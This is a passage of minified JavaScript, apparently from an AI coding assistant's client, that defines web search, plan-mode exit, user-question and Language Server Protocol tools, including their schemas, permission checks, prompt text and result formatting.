${q.join(", ")}`}return z}function U2K(){return jm.default.createElement(u9,null)}function p2K(A,{verbose:K}){return jm.default.createElement(C3,{result:A,verbose:K})}function d2K(A){if(A.length===0)return null;let K=A[A.length-1];if(!K?.data)return null;let q=K.data;switch(q.type){case"query_update":return jm.default.createElement(k6,null,jm.default.createElement(V,{dimColor:!0},"Searching: ",q.query));case"search_results_received":return jm.default.createElement(k6,null,jm.default.createElement(V,{dimColor:!0},"Found ",q.resultCount,' results for "',q.query,'"'));default:return null}}function c2K(A){let{searchCount:K}=PE2(A.results),q=A.durationSeconds>=1?`${Math.round(A.durationSeconds)}s`:`${Math.round(A.durationSeconds*1000)}ms`;return jm.default.createElement(S,{justifyContent:"space-between",width:"100%"},jm.default.createElement(k6,{height:1},jm.default.createElement(V,null,"Did ",K," search",K!==1?"es":""," in ",q)))}function Qb6(A){if(!A?.query)return null;return a9(A.query,CI)}var jm;var l2K=k(()=>{mA();Eq();__();J0();jm=o($A(),1)});function EE2(A,K,q){let Y=[],z="",w=!0;for(let H of A){if(H.type==="server_tool_use"){if(w){if(w=!1,z.trim().length>0)Y.push(z.trim());z=""}continue}if(H.type==="web_search_tool_result"){if(!Array.isArray(H.content)){let O=`Web search error: ${H.content.error_code}`;KA(Error(O)),Y.push(O);continue}let J=H.content.map((O)=>({title:O.title,url:O.url}));Y.push({tool_use_id:H.tool_use_id,content:J})}if(H.type==="text")if(w)z+=H.text;else w=!0,z=H.text}if(z.length)Y.push(z.trim());return{query:K,results:Y,durationSeconds:q}}var VE2,fE2,NE2,TE2,vE2=(A)=>{return{type:"web_search_20250305",name:"web_search",allowed_domains:A.allowed_domains,blocked_domains:A.blocked_domains,max_uses:8}},ff1;var Ub6=k(()=>{z7();d6A();sz();$8();K7();B7();IH();C1();l2K();b1();VE2=U.strictObject({query:U.string().min(2).describe("The search query to use"),allowed_domains:U.array(U.string()).optional().describe("Only include search results from these domains"),blocked_domains:U.array(U.string()).optional().describe("Never include search results from these domains")}),fE2=U.object({title:U.string().describe("The title of the search result"),url:U.string().describe("The URL of the search result")}),NE2=U.object({tool_use_id:U.string().describe("ID of the tool use"),content:U.array(fE2).describe("Array of search hits")}),TE2=U.object({query:U.string().describe("The search query that was executed"),results:U.array(U.union([NE2,U.string()])).describe("Search results and/or text commentary from the model"),durationSeconds:U.number().describe("Time taken to complete the search operation")});ff1={name:oE,maxResultSizeChars:1e5,async description(A){return`Claude wants to search the web for: ${A.query}`},userFacingName(){return"Web Search"},getToolUseSummary:Qb6,getActivityDescription(A){let K=Qb6(A);return K?`Searching for ${K}`:"Searching the web"},isEnabled(){let A=c7(),K=J3();if(A==="firstParty")return!0;if(A==="vertex")return K.includes("claude-opus-4")||K.includes("claude-sonnet-4")||K.includes("claude-haiku-4");if(A==="foundry")return!0;return!1},inputSchema:VE2,outputSchema:TE2,isConcurrencySafe(){return!0},isReadOnly(){return!0},async checkPermissions(A){return{behavior:"passthrough",message:"WebSearchTool requires permission."}},async prompt(){return Bx8()},renderToolUseMessage:Q2K,renderToolUseRejectedMessage:U2K,renderToolUseErrorMessage:p2K,renderToolUseProgressMessage:d2K,renderToolResultMessage:c2K,async validateInput(A){let{query:K,allowed_domains:q,blocked_domains:Y}=A;if(!K.length)return{result:!1,message:"Error: Missing query",errorCode:1};if(q?.length&&Y?.length)return{result:!1,message:"Error: Cannot specify both allowed_domains and blocked_domains in the same request",errorCode:2};return{result:!0}},async call(A,K,q,Y,z){let w=performance.now(),{query:H}=A,J=t1({content:"Perform a web search for the query: "+H}),O=vE2(A),X=G4("tengu_plum_vx3",!1),$=aMA({messages:[J],systemPrompt:["You are an assistant for performing a web search tool use"],maxThinkingTokens:X?0:K.options.maxThinkingTokens,tools:[],signal:K.abortController.signal,options:{getToolPermissionContext:async()=>{return(await K.getAppState()).toolPermissionContext},model:X?_O():K.options.mainLoopModel,toolChoice:X?{type:"tool",name:"web_search"}:void 0,isNonInteractiveSession:K.options.isNonInteractiveSession,hasAppendSystemPrompt:!!K.options.appendSystemPrompt,extraToolSchemas:[O],querySource:"web_search_tool",agents:K.options.agentDefinitions.activeAgents,mcpTools:[],agentId:K.agentId}}),_=[],G=null,Z="",W=0,D=new Map;for await(let T of $){if(_.push(T),T.type==="stream_event"&&T.event?.type==="content_block_start"){let C=T.event.content_block;if(C&&C.type==="server_tool_use"){G=C.id,Z="";continue}}if(G&&T.type==="stream_event"&&T.event?.type==="content_block_delta"){let C=T.event.delta;if(C?.type==="input_json_delta"&&C.partial_json){Z+=C.partial_json;try{let R=Z.match(/"query"\s*:\s*"((?:[^"\\]|\\.)*)"/);if(R&&R[1]){let x=G6('"'+R[1]+'"');if(!D.has(G)||D.get(G)!==x){if(D.set(G,x),W++,z)z({toolUseID:`search-progress-${W}`,data:{type:"query_update",query:x}})}}}catch{}}}if(T.type==="stream_event"&&T.event?.type==="content_block_start"){let C=T.event.content_block;if(C&&C.type==="web_search_tool_result"){let R=C.tool_use_id,x=D.get(R)||H,y=C.content;if(W++,z)z({toolUseID:R||`search-progress-${W}`,data:{type:"search_results_received",resultCount:Array.isArray(y)?y.length:0,query:x}})}}}let M=_.filter((T)=>T.type==="assistant").flatMap((T)=>T.message.content),f=(performance.now()-w)/1000;return{data:EE2(M,H,f)}},mapToolResultToToolResultBlockParam(A,K){let{query:q,results:Y}=A,z=`Web search results for query: "${q}" `;return Y.forEach((w)=>{if(typeof w==="string")z+=w+` `;else if(w.content.length>0)z+=`Links: ${UA(w.content)} `;else z+=`No links found. `}),z+=` REMINDER: You MUST include the sources above in your response to the user using markdown hyperlinks.`,{tool_use_id:K,type:"tool_result",content:z.trim()}}}});var i2K=`Use this tool when you are in plan mode and have finished writing your plan to the plan file and are ready for user approval. ## How This Tool Works - You should have already written your plan to the plan file specified in the plan mode system message - This tool does NOT take the plan content as a parameter - it will read the plan from the file you wrote - This tool simply signals that you're done planning and ready for the user to review and approve - The user will see the contents of your plan file when they review it ## When to Use This Tool IMPORTANT: Only use this tool when the task requires planning the implementation steps of a task that requires writing code. For research tasks where you're gathering information, searching files, reading files or in general trying to understand the codebase - do NOT use this tool. ## Before Using This Tool Ensure your plan is complete and unambiguous: - If you have unresolved questions about requirements or approach, use AskUserQuestion first (in earlier phases) - Once your plan is finalized, use THIS tool to request approval **Important:** Do NOT use AskUserQuestion to ask "Is this plan okay?" or "Should I proceed?" - that's exactly what THIS tool does. ExitPlanMode inherently requests user approval of your plan. ## Examples 1. Initial task: "Search for and understand the implementation of vim mode in the codebase" - Do not use the exit plan mode tool because you are not planning the implementation steps of a task. 2. Initial task: "Help me implement yank mode for vim" - Use the exit plan mode tool after you have finished planning the implementation steps of the task. 3. Initial task: "Add a new feature to handle user authentication" - If unsure about auth method (OAuth, JWT, etc.), use AskUserQuestion first, then use exit plan mode tool after clarifying the approach. `;function n2K(){return null}function r2K(){return null}function o2K(A,K,{theme:q}){let{plan:Y,filePath:z,pushToRemote:w,remoteSessionUrl:H}=A,J=!Y||Y.trim()==="",O=z?Z5(z):"",X=A.awaitingLeaderApproval;if(J)return OK.createElement(S,{flexDirection:"column",marginTop:1},OK.createElement(S,{flexDirection:"row"},OK.createElement(V,{color:OD("plan")},uY),OK.createElement(V,null," Exited plan mode")));if(w&&H)return OK.createElement(S,{flexDirection:"column",marginTop:1},OK.createElement(S,{flexDirection:"row"},OK.createElement(V,{color:OD("plan")},uY),OK.createElement(V,null," Pushed plan to Claude Code on the web")),OK.createElement(k6,null,OK.createElement(S,{flexDirection:"column"},OK.createElement(V,{dimColor:!0},"This task is now running in the background."),OK.createElement(V,{dimColor:!0},"Monitor it with /tasks or at ",H))));if(X)return OK.createElement(S,{flexDirection:"column",marginTop:1},OK.createElement(S,{flexDirection:"row"},OK.createElement(V,{color:OD("plan")},uY),OK.createElement(V,null," Plan submitted for team lead approval")),OK.createElement(k6,null,OK.createElement(S,{flexDirection:"column"},z&&OK.createElement(V,{dimColor:!0},"Plan file: ",O),OK.createElement(V,{dimColor:!0},"Waiting for team lead to review and approve..."))));return OK.createElement(S,{flexDirection:"column",marginTop:1},OK.createElement(S,{flexDirection:"row"},OK.createElement(V,{color:OD("plan")},uY),OK.createElement(V,null," User approved Claude's plan")),OK.createElement(k6,null,OK.createElement(S,{flexDirection:"column"},z&&OK.createElement(V,{dimColor:!0},"Plan saved to: ",O," · /plan to edit"),OK.createElement(PO,null,Y))))}function a2K({plan:A},{theme:K}){let q=A??fG()??"No plan found";return OK.createElement(S,{flexDirection:"column"},OK.createElement(KW1,{plan:q}))}function s2K(){return null}var OK;var t2K=k(()=>{mA();JL();Eq();hf();jT6();n_();NG();YK();OK=o($A(),1)});function e2K(A,K){for(let q of Object.values(K.tasks))if(W_(q)&&q.identity.agentName===A)return q.id;return}function AzK(A,K,q){eY(A,K,(Y)=>({...Y,awaitingPlanApproval:q}))}var KzK=k(()=>{_H();cI()});var kE2,qzK,N1J,CE2,SW;var mUA=k(()=>{z7();t2K();NG();b1();t9();W2();_H();KzK();sMA();LH();q6();kE2=U.object({tool:U.enum(["Bash"]).describe("The tool this prompt applies to"),prompt:U.string().describe('Semantic description of the action, e.g. "run tests", "install dependencies"')}),qzK=U.strictObject({allowedPrompts:U.array(kE2).optional().describe("Prompt-based permissions needed to implement the plan. These describe categories of actions rather than specific commands."),pushToRemote:U.boolean().optional().describe("Whether to push the plan to a remote Claude.ai session"),remoteSessionId:U.string().optional().describe("The remote session ID if pushed to remote"),remoteSessionUrl:U.string().optional().describe("The remote session URL if pushed to remote"),remoteSessionTitle:U.string().optional().describe("The remote session title if pushed to remote")}).passthrough(),N1J=qzK.extend({plan:U.string().optional().describe("The plan content (injected by normalizeToolInput from disk)")}),CE2=U.object({plan:U.string().nullable().describe("The plan that was presented to the user"),isAgent:U.boolean(),filePath:U.string().optional().describe("The file path where the plan was saved"),pushToRemote:U.boolean().optional().describe("Whether the plan was pushed to a remote session"),remoteSessionId:U.string().optional().describe("The remote session ID"),remoteSessionUrl:U.string().optional().describe("The remote session URL"),hasTaskTool:U.boolean().optional().describe("Whether the Task tool is available in the current context"),awaitingLeaderApproval:U.boolean().optional().describe("When true, the teammate has sent a plan approval request to the team leader"),requestId:U.string().optional().describe("Unique identifier for the plan approval request")}),SW={name:Yf,maxResultSizeChars:1e5,async description(){return"Prompts the user to exit plan mode and start coding"},async prompt(){return i2K},inputSchema:qzK,outputSchema:CE2,userFacingName(){return""},isEnabled(){return!0},isConcurrencySafe(){return!0},isReadOnly(){return!1},requiresUserInteraction(){if(m2())return!1;return!0},async checkPermissions(A){if(m2())return{behavior:"allow",updatedInput:A};return{behavior:"ask",message:"Exit plan mode?",updatedInput:A}},renderToolUseMessage:n2K,renderToolUseProgressMessage:r2K,renderToolResultMessage:o2K,renderToolUseRejectedMessage:a2K,renderToolUseErrorMessage:s2K,async call(A,K){let q=!!K.agentId,Y=uM(K.agentId),z=fG(K.agentId);if(m2()&&jyA()){if(!z)throw Error(`No plan file found at ${Y}. Please write your plan to this file before calling ExitPlanMode.`);let H=b9()||"unknown",J=T3(),O=bt("plan_approval",cf(H,J||"default")),X={type:"plan_approval_request",from:H,timestamp:new Date().toISOString(),planFilePath:Y,planContent:z,requestId:O};Q3("team-lead",{from:H,text:UA(X),timestamp:new Date().toISOString()},J);let $=await K.getAppState(),_=e2K(H,$);if(_)AzK(_,K.setAppState,!0);return{data:{plan:z,isAgent:!0,filePath:Y,awaitingLeaderApproval:!0,requestId:O}}}if(A.pushToRemote&&A.remoteSessionId)gUA({session:{id:A.remoteSessionId,title:A.remoteSessionTitle||"Remote task"},command:z||"",context:K});K.setAppState((H)=>{if(H.toolPermissionContext.mode!=="plan")return H;return VE(!0),xg(!0),{...H,toolPermissionContext:nY(H.toolPermissionContext,{type:"setMode",mode:"default",destination:"session"})}});let w=b8()&&K.options.tools.some((H)=>H.name===Nq);return{data:{plan:z,isAgent:q,filePath:Y,pushToRemote:A.pushToRemote,remoteSessionId:A.remoteSessionId,remoteSessionUrl:A.remoteSessionUrl,hasTaskTool:w||void 0}}},mapToolResultToToolResultBlockParam({isAgent:A,plan:K,filePath:q,pushToRemote:Y,remoteSessionId:z,remoteSessionUrl:w,hasTaskTool:H,awaitingLeaderApproval:J,requestId:O},X){if(Y&&z)return{type:"tool_result",content:"Plan pushed to remote session. The URL is already displayed to the user, so do not repeat it.",tool_use_id:X};if(J)return{type:"tool_result",content:`Your plan has been submitted to the team lead for approval. Plan file: ${q} **What happens next:** 1. Wait for the team lead to review your plan 2. You will receive a message in your inbox with approval/rejection 3. If approved, you can proceed with implementation 4. If rejected, refine your plan based on the feedback **Important:** Do NOT proceed until you receive approval. Check your inbox for response. Request ID: ${O}`,tool_use_id:X};if(A)return{type:"tool_result",content:'User has approved the plan. There is nothing else needed from you now. Please respond with "ok"',tool_use_id:X};if(!K||K.trim()==="")return{type:"tool_result",content:"User has approved exiting plan mode. You can now proceed.",tool_use_id:X};return{type:"tool_result",content:`User has approved your plan. You can now start coding. Start with updating your todo list if applicable Your plan has been saved to: ${q} You can refer back to it if needed during implementation.${H?` If this plan can be broken down into multiple independent tasks, consider using a team of teammates (via the Task tool with team_name) to parallelize the work.`:""} ## Approved Plan: ${K}`,tool_use_id:X}}}});var E1J;var YzK=k(()=>{z7();E1J=U.strictObject({})});function RE2(A){let K=s(3),{answers:q}=A,Y;if(K[0]===Symbol.for("react.memo_cache_sentinel"))Y=NO.createElement(S,{flexDirection:"row"},NO.createElement(V,{color:OD("default")},uY," "),NO.createElement(V,null,"User answered Claude's questions:")),K[0]=Y;else Y=K[0];let z;if(K[1]!==q)z=NO.createElement(S,{flexDirection:"column",marginTop:1},Y,NO.createElement(k6,null,NO.createElement(S,{flexDirection:"column"},Object.entries(q).map(yE2)))),K[1]=q,K[2]=z;else z=K[2];return z}function yE2(A){let[K,q]=A;return NO.createElement(V,{key:K,color:"inactive"},"· ",K," → ",q)}var NO,LE2,zzK,pb6,x1J,Nf1;var Tf1=k(()=>{cA();z7();mA();Eq();hf();n_();NO=o($A(),1),LE2=U.object({label:U.string().describe("The display text for this option that the user will see and select. Should be concise (1-5 words) and clearly describe the choice."),description:U.string().describe("Explanation of what this option means or what will happen if chosen. Useful for providing context about trade-offs or implications.")}),zzK=U.object({question:U.string().describe('The complete question to ask the user. Should be clear, specific, and end with a question mark. Example: "Which library should we use for date formatting?" If multiSelect is true, phrase it accordingly, e.g. "Which features do you want to enable?"'),header:U.string().describe(`Very short label displayed as a chip/tag (max ${By7} chars). Examples: "Auth method", "Library", "Approach".`),options:U.array(LE2).min(2).max(4).describe("The available choices for this question. Must have 2-4 options. Each option should be a distinct, mutually exclusive choice (unless multiSelect is enabled). There should be no 'Other' option, that will be provided automatically."),multiSelect:U.boolean().default(!1).describe("Set to true to allow the user to select multiple options instead of just one. Use when choices are not mutually exclusive.")}),pb6=U.strictObject({questions:U.array(zzK).min(1).max(4).describe("Questions to ask the user (1-4 questions)"),answers:U.record(U.string(),U.string()).optional().describe("User answers collected by the permission component"),metadata:U.object({source:U.string().optional().describe('Optional identifier for the source of this question (e.g., "remember" for /remember command). Used for analytics tracking.')}).optional().describe("Optional metadata for tracking and analytics purposes. Not displayed to user.")}).refine((A)=>{let K=A.questions.map((q)=>q.question);if(K.length!==new Set(K).size)return!1;for(let q of A.questions){let Y=q.options.map((z)=>z.label);if(Y.length!==new Set(Y).size)return!1}return!0},{message:"Question texts must be unique, option labels must be unique within each question"}),x1J=U.object({questions:U.array(zzK).describe("The questions that were asked"),answers:U.record(U.string(),U.string()).describe("The answers provided by the user (question text -> answer string; multi-select answers are comma-separated)")});Nf1={name:bJ,maxResultSizeChars:1e5,async description(){return my7},async prompt(){return gy7},inputSchema:pb6,userFacingName(){return""},isEnabled(){return!0},isConcurrencySafe(){return!0},isReadOnly(){return!0},requiresUserInteraction(){return!0},async checkPermissions(A){return{behavior:"ask",message:"Answer questions?",updatedInput:A}},renderToolUseMessage(){return null},renderToolUseProgressMessage(){return null},renderToolResultMessage({answers:A},K){return NO.createElement(RE2,{answers:A})},renderToolUseRejectedMessage(){return NO.createElement(S,{flexDirection:"row",marginTop:1},NO.createElement(V,{color:OD("default")},uY," "),NO.createElement(V,null,"User declined to answer questions"))},renderToolUseErrorMessage(){return null},async call({questions:A,answers:K={}},q){return{data:{questions:A,answers:K}}},mapToolResultToToolResultBlockParam({answers:A},K){return{type:"tool_result",content:`User has answered your questions: ${Object.entries(A).map(([Y,z])=>`"${Y}"="${z}"`).join(", ")}. You can now continue with the user's answers in mind.`,tool_use_id:K}}}});var IE2,SE2,hE2,bE2,xE2,uE2,BE2,mE2,gE2,wzK;var HzK=k(()=>{z7();IE2=U.strictObject({operation:U.literal("goToDefinition"),filePath:U.string().describe("The absolute or relative path to the file"),line:U.number().int().positive().describe("The line number (1-based, as shown in editors)"),character:U.number().int().positive().describe("The character offset (1-based, as shown in editors)")}),SE2=U.strictObject({operation:U.literal("findReferences"),filePath:U.string().describe("The absolute or relative path to the file"),line:U.number().int().positive().describe("The line number (1-based, as shown in editors)"),character:U.number().int().positive().describe("The character offset (1-based, as shown in editors)")}),hE2=U.strictObject({operation:U.literal("hover"),filePath:U.string().describe("The absolute or relative path to the file"),line:U.number().int().positive().describe("The line number (1-based, as shown in editors)"),character:U.number().int().positive().describe("The character offset (1-based, as shown in editors)")}),bE2=U.strictObject({operation:U.literal("documentSymbol"),filePath:U.string().describe("The absolute or relative path to the file"),line:U.number().int().positive().describe("The line number (1-based, as shown in editors)"),character:U.number().int().positive().describe("The character offset (1-based, as shown in editors)")}),xE2=U.strictObject({operation:U.literal("workspaceSymbol"),filePath:U.string().describe("The absolute or relative path to the file"),line:U.number().int().positive().describe("The line number (1-based, as shown in editors)"),character:U.number().int().positive().describe("The character offset (1-based, as shown in editors)")}),uE2=U.strictObject({operation:U.literal("goToImplementation"),filePath:U.string().describe("The absolute or relative path to the file"),line:U.number().int().positive().describe("The line number (1-based, as shown in editors)"),character:U.number().int().positive().describe("The character offset (1-based, as shown in editors)")}),BE2=U.strictObject({operation:U.literal("prepareCallHierarchy"),filePath:U.string().describe("The absolute or relative path to the file"),line:U.number().int().positive().describe("The line number (1-based, as shown in editors)"),character:U.number().int().positive().describe("The character offset (1-based, as shown in editors)")}),mE2=U.strictObject({operation:U.literal("incomingCalls"),filePath:U.string().describe("The absolute or relative path to the file"),line:U.number().int().positive().describe("The line number (1-based, as shown in editors)"),character:U.number().int().positive().describe("The character offset (1-based, as shown in editors)")}),gE2=U.strictObject({operation:U.literal("outgoingCalls"),filePath:U.string().describe("The absolute or relative path to the file"),line:U.number().int().positive().describe("The line number (1-based, as shown in editors)"),character:U.number().int().positive().describe("The character offset (1-based, as shown in editors)")}),wzK=U.discriminatedUnion("operation",[IE2,SE2,hE2,bE2,xE2,uE2,BE2,mE2,gE2])});import{relative as FE2}from"path";function FUA(A,K){if(!A)return h("formatUri called with undefined URI - indicates malformed LSP server response",{level:"warn"}),"<unknown location>";let q=A.replace(/^file:\/\//,"");if(/^\/[A-Za-z]:/.test(q))q=q.slice(1);try{q=decodeURIComponent(q)}catch(Y){let z=Y instanceof Error?Y.message:String(Y);h(`Failed to decode LSP URI '${A}': ${z}. Using un-decoded path: ${q}`,{level:"warn"})}if(K){let Y=FE2(K,q).replaceAll("\\","/");if(Y.length<q.length&&!Y.startsWith("../../"))return Y}return q.replaceAll("\\","/")}function $zK(A,K){let q=new Map;for(let Y of A){let z="uri"in Y?Y.uri:Y.location.uri,w=FUA(z,K),H=q.get(w);if(H)H.push(Y);else q.set(w,[Y])}return q}function vf1(A,K){let q=FUA(A.uri,K),Y=A.range.start.line+1,z=A.range.start.character+1;return`${q}:${Y}:${z}`}function JzK(A){return{uri:A.targetUri,range:A.targetSelectionRange||A.targetRange}}function OzK(A){return"targetUri"in A}function db6(A,K){if(!A)return"No definition found. This may occur if the cursor is not on a symbol, or if the definition is in an external library not indexed by the LSP server.";if(Array.isArray(A)){let Y=A.map((J)=>OzK(J)?JzK(J):J),z=Y.filter((J)=>!J||!J.uri);if(z.length>0)h(`formatGoToDefinitionResult: Filtering out ${z.length} invalid location(s) - this should have been caught earlier`,{level:"warn"});let w=Y.filter((J)=>J&&J.uri);if(w.length===0)return"No definition found. This may occur if the cursor is not on a symbol, or if the definition is in an external library not indexed by the LSP server.";if(w.length===1)return`Defined in ${vf1(w[0],K)}`;let H=w.map((J)=>` ${vf1(J,K)}`).join(` `);return`Found ${w.length} definitions: ${H}`}let q=OzK(A)?JzK(A):A;return`Defined in ${vf1(q,K)}`}function _zK(A,K){if(!A||A.length===0)return"No references found. This may occur if the symbol has no usages, or if the LSP server has not fully indexed the workspace.";let q=A.filter((H)=>!H||!H.uri);if(q.length>0)h(`formatFindReferencesResult: Filtering out ${q.length} invalid location(s) - this should have been caught earlier`,{level:"warn"});let Y=A.filter((H)=>H&&H.uri);if(Y.length===0)return"No references found. This may occur if the symbol has no usages, or if the LSP server has not fully indexed the workspace.";if(Y.length===1)return`Found 1 reference: ${vf1(Y[0],K)}`;let z=$zK(Y,K),w=[`Found ${Y.length} references across ${z.size} files:`];for(let[H,J]of z){w.push(` ${H}:`);for(let O of J){let X=O.range.start.line+1,$=O.range.start.character+1;w.push(` Line ${X}:${$}`)}}return w.join(` `)}function QE2(A){if(Array.isArray(A))return A.map((K)=>{if(typeof K==="string")return K;return K.value}).join(` `);if(typeof A==="string")return A;if("kind"in A)return A.value;return A.value}function GzK(A,K){if(!A)return"No hover information available. This may occur if the cursor is not on a symbol, or if the LSP server has not fully indexed the file.";let q=QE2(A.contents);if(A.range){let Y=A.range.start.line+1,z=A.range.start.character+1;return`Hover info at ${Y}:${z}: ${q}`}return q}function tMA(A){return{[1]:"File",[2]:"Module",[3]:"Namespace",[4]:"Package",[5]:"Class",[6]:"Method",[7]:"Property",[8]:"Field",[9]:"Constructor",[10]:"Enum",[11]:"Interface",[12]:"Function",[13]:"Variable",[14]:"Constant",[15]:"String",[16]:"Number",[17]:"Boolean",[18]:"Array",[19]:"Object",[20]:"Key",[21]:"Null",[22]:"EnumMember",[23]:"Struct",[24]:"Event",[25]:"Operator",[26]:"TypeParameter"}[A]||"Unknown"}function ZzK(A,K=0){let q=[],Y=" ".repeat(K),z=tMA(A.kind),w=`${Y}${A.name} (${z})`;if(A.detail)w+=` ${A.detail}`;let H=A.range.start.line+1;if(w+=` - Line ${H}`,q.push(w),A.children&&A.children.length>0)for(let J of A.children)q.push(...ZzK(J,K+1));return q}function WzK(A,K){if(!A||A.length===0)return"No symbols found in document. This may occur if the file is empty, not supported by the LSP server, or if the server has not fully indexed the file.";let q=A[0];if(q&&"location"in q)return cb6(A,K);let z=["Document symbols:"];for(let w of A)z.push(...ZzK(w));return z.join(` `)}function cb6(A,K){if(!A||A.length===0)return"No symbols found in workspace. This may occur if the workspace is empty, or if the LSP server has not finished indexing the project.";let q=A.filter((H)=>!H||!H.location||!H.location.uri);if(q.length>0)h(`formatWorkspaceSymbolResult: Filtering out ${q.length} invalid symbol(s) - this should have been caught earlier`,{level:"warn"});let Y=A.filter((H)=>H&&H.location&&H.location.uri);if(Y.length===0)return"No symbols found in workspace. This may occur if the workspace is empty, or if the LSP server has not finished indexing the project.";let z=[`Found ${Y.length} symbol${Y.length===1?"":"s"} in workspace:`],w=$zK(Y,K);for(let[H,J]of w){z.push(` ${H}:`);for(let O of J){let X=tMA(O.kind),$=O.location.range.start.line+1,_=` ${O.name} (${X}) - Line ${$}`;if(O.containerName)_+=` in ${O.containerName}`;z.push(_)}}return z.join(` `)}function XzK(A,K){if(!A.uri)return h("formatCallHierarchyItem: CallHierarchyItem has undefined URI",{level:"warn"}),`${A.name} (${tMA(A.kind)}) - <unknown location>`;let q=FUA(A.uri,K),Y=A.range.start.line+1,z=tMA(A.kind),w=`${A.name} (${z}) - ${q}:${Y}`;if(A.detail)w+=` [${A.detail}]`;return w}function DzK(A,K){if(!A||A.length===0)return"No call hierarchy item found at this position";if(A.length===1)return`Call hierarchy item: ${XzK(A[0],K)}`;let q=[`Found ${A.length} call hierarchy items:`];for(let Y of A)q.push(` ${XzK(Y,K)}`);return q.join(` `)}function jzK(A,K){if(!A||A.length===0)return"No incoming calls found (nothing calls this function)";let q=[`Found ${A.length} incoming call${A.length===1?"":"s"}:`],Y=new Map;for(let z of A){if(!z.from){h("formatIncomingCallsResult: CallHierarchyIncomingCall has undefined from field",{level:"warn"});continue}let w=FUA(z.from.uri,K),H=Y.get(w);if(H)H.push(z);else Y.set(w,[z])}for(let[z,w]of Y){q.push(` ${z}:`);for(let H of w){if(!H.from)continue;let J=tMA(H.from.kind),O=H.from.range.start.line+1,X=` ${H.from.name} (${J}) - Line ${O}`;if(H.fromRanges&&H.fromRanges.length>0){let $=H.fromRanges.map((_)=>`${_.start.line+1}:${_.start.character+1}`).join(", ");X+=` [calls at: ${$}]`}q.push(X)}}return q.join(` `)}function MzK(A,K){if(!A||A.length===0)return"No outgoing calls found (this function calls nothing)";let q=[`Found ${A.length} outgoing call${A.length===1?"":"s"}:`],Y=new Map;for(let z of A){if(!z.to){h("formatOutgoingCallsResult: CallHierarchyOutgoingCall has undefined to field",{level:"warn"});continue}let w=FUA(z.to.uri,K),H=Y.get(w);if(H)H.push(z);else Y.set(w,[z])}for(let[z,w]of Y){q.push(` ${z}:`);for(let H of w){if(!H.to)continue;let J=tMA(H.to.kind),O=H.to.range.start.line+1,X=` ${H.to.name} (${J}) - Line ${O}`;if(H.fromRanges&&H.fromRanges.length>0){let $=H.fromRanges.map((_)=>`${_.start.line+1}:${_.start.character+1}`).join(", ");X+=` [called from: ${$}]`}q.push(X)}}return q.join(` `)}var PzK=k(()=>{Z1()});var VzK="LSP",lb6=`Interact with Language Server Protocol (LSP) servers to get code intelligence features. Supported operations: - goToDefinition: Find where a symbol is defined - findReferences: Find all references to a symbol - hover: Get hover information (documentation, type info) for a symbol - documentSymbol: Get all symbols (functions, classes, variables) in a document - workspaceSymbol: Search for symbols across the entire workspace - goToImplementation: Find implementations of an interface or abstract method - prepareCallHierarchy: Get call hierarchy item at a position (functions/methods) - incomingCalls: Find all functions/methods that call the function at a position - outgoingCalls: Find all functions/methods called by the function at a position All operations require: - filePath: The file to operate on - line: The line number (1-based, as shown in editors) - character: The character offset (1-based, as shown in editors) Note: LSP servers must be configured for the file type. If no server is available, an error will be returned.`;function fzK(A,K,q){try{let Y=BA(),z=x7(A);if(!Y.existsSync(z))return null;let H=Y.readFileSync(z,{encoding:"utf-8"}).split(` `);if(K<0||K>=H.length)return null;let J=H[K];if(!J||q<0||q>=J.length)return null;let O=/[\w$'!]+|[+\-*/%&|^~<>=]+/g,X;while((X=O.exec(J))!==null){let $=X.index,_=$+X[0].length;if(q>=$&&q<_){let G=X[0];return G.length>30?G.slice(0,27)+"...":G}}return null}catch(Y){if(Y instanceof Error)h(`Symbol extraction failed for ${A}:${K}:${q}: ${Y.message}`,{level:"warn"});return null}}var NzK=k(()=>{e6();Oz();Z1()});function pE2(A){let K=s(23),{operation:q,resultCount:Y,fileCount:z,content:w,verbose:H}=A,J;if(K[0]!==q)J=UE2[q]||{singular:"result",plural:"results"},K[0]=q,K[1]=J;else J=K[1];let O=J,X=Y===1?O.singular:O.plural,$;if(K[2]!==X||K[3]!==O.special||K[4]!==q||K[5]!==Y)$=q==="hover"&&Y>0&&O.special?MX.default.createElement(V,null,"Hover info ",O.special):MX.default.createElement(V,null,"Found ",MX.default.createElement(V,{bold:!0},Y," "),X),K[2]=X,K[3]=O.special,K[4]=q,K[5]=Y,K[6]=$;else $=K[6];let _=$,G;if(K[7]!==z)G=z>1?MX.default.createElement(V,null," ","across ",MX.default.createElement(V,{bold:!0},z," "),"files"):null,K[7]=z,K[8]=G;else G=K[8];let Z=G;if(H){let j;if(K[9]!==_||K[10]!==Z)j=MX.default.createElement(S,{flexDirection:"row"},MX.default.createElement(V,null," ⎿ ",_,Z)),K[9]=_,K[10]=Z,K[11]=j;else j=K[11];let M;if(K[12]!==w)M=MX.default.createElement(S,{marginLeft:5},MX.default.createElement(V,null,w)),K[12]=w,K[13]=M;else M=K[13];let P;if(K[14]!==j||K[15]!==M)P=MX.default.createElement(S,{flexDirection:"column"},j,M),K[14]=j,K[15]=M,K[16]=P;else P=K[16];return P}let W;if(K[17]!==Y)W=Y>0&&MX.default.createElement(mI,null),K[17]=Y,K[18]=W;else W=K[18];let D;if(K[19]!==_||K[20]!==Z||K[21]!==W)D=MX.default.createElement(k6,{height:1},MX.default.createElement(V,null,_,Z," ",W)),K[19]=_,K[20]=Z,K[21]=W,K[22]=D;else D=K[22];return D}function TzK(){return"LSP"}function vzK(A,{verbose:K}){if(!A.operation)return null;let q=[];if((A.operation==="goToDefinition"||A.operation==="findReferences"||A.operation==="hover"||A.operation==="goToImplementation")&&A.filePath&&A.line!==void 0&&A.character!==void 0){let Y=fzK(A.filePath,A.line-1,A.character-1),z=K?A.filePath:Z5(A.filePath);if(Y)q.push(`operation: "${A.operation}"`),q.push(`symbol: "${Y}"`),q.push(`in: "${z}"`);else q.push(`operation: "${A.operation}"`),q.push(`file: "${z}"`),q.push(`position: ${A.line}:${A.character}`);return q.join(", ")}if(q.push(`operation: "${A.operation}"`),A.filePath){let Y=K?A.filePath:Z5(A.filePath);q.push(`file: "${Y}"`)}return q.join(", ")}function EzK(){return MX.default.createElement(u9,null)}function kzK(A,{verbose:K}){if(!K&&typeof A==="string"&&i7(A,"tool_use_error"))return MX.default.createElement(k6,null,MX.default.createElement(V,{color:"error"},"LSP operation failed"));return MX.default.createElement(C3,{result:A,verbose:K})}function CzK(){return null}function LzK(A,K,{verbose:q}){if(A.resultCount!==void 0&&A.fileCount!==void 0)return 